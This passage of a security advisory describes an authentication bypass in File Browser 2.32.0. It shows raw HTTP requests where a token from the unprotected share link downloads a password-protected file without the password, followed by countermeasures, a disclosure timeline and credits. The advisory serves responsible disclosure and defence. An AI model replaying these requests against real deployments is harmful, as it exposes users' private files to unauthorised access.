Connection: keep-alive Priority: u=0 HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline'; Content-Type: application/json; charset=utf-8 Date: Thu, 27 Mar 2025 10:59:15 GMT Content-Length: 301 {"path":"","name":"dummy1.pdf","size":7703,"extension":".pdf","modified":"2025-03-27T15:11:45.101242449Z","mode":420,"isDir":false,"isSymlink":false,"type":"pdf","token":"voDK6j[...]"} ``` But it does not return the actual file content but rather an access token. This is the very same token that is already part of the second share URL and is used by the web application to recreate the actual download URL. If you are in possession of that one, no further password check is performed, and the content of the file is returned: ```http GET /api/public/dl/6Gtw0xAw?inline=true&token=voDK6j[...] HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Sec-GPC: 1 Connection: keep-alive Referer: http://filebrowser.local:8080/share/6Gtw0xAw Upgrade-Insecure-Requests: 1 Priority: u=0, i HTTP/1.1 200 OK Accept-Ranges: bytes Cache-Control: private Content-Disposition: inline Content-Length: 7703 Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline'; Content-Security-Policy: script-src 'none'; Content-Type: application/pdf Last-Modified: Mon, 03 Mar 2025 15:11:45 GMT Date: Thu, 27 Mar 2025 10:59:18 GMT %PDF-1.4 %Ç쏢 %%Invocation: path/gs -P- -dSAFER -dCompatibilityLevel=1.4 -q -P- -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sstdout=? -sOutputFile=? -P- -dSAFER -dCompatibilityLevel=1.4 - 5 0 obj [...] ``` ## Recommended Countermeasures ## A short time solution would be to simple remove the second link from the GUI when a password protected share is created. Doing so will be a proper defense against user errors, but it will still leave unprotected links in various logs. A thorough fix has to eliminate the unprotected links completely, access to the file must only be given to requests containing the share password. ## Timeline ## * `2025-03-27` Identified the vulnerability in version 2.32.0 * `2025-04-11` Contacted the project * `2025-04-29` Vulnerability disclosed to the project * `2025-06-25` Uploaded advisories to the project's GitHub repository * `2025-06-25` CVE ID assigned by GitHub * `2025-06-29` Mitigation of user error released in version 2.34.2 * `2025-06-29` Issue [#5239](https://github.com/filebrowser/filebrowser/issues/5239) opened to track a more thorough fix of the feature ## References ## * [CWE-305: Authentication Bypass by Primary Weakness](https://cwe.mitre.org/data/definitions/305.html) * [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250327-02_Filebrowser_Password_Protection_Of_Links_Bypassable) ## Credits ## * Mathias Tausig ([SBA Research](https://www.sba-research.org/))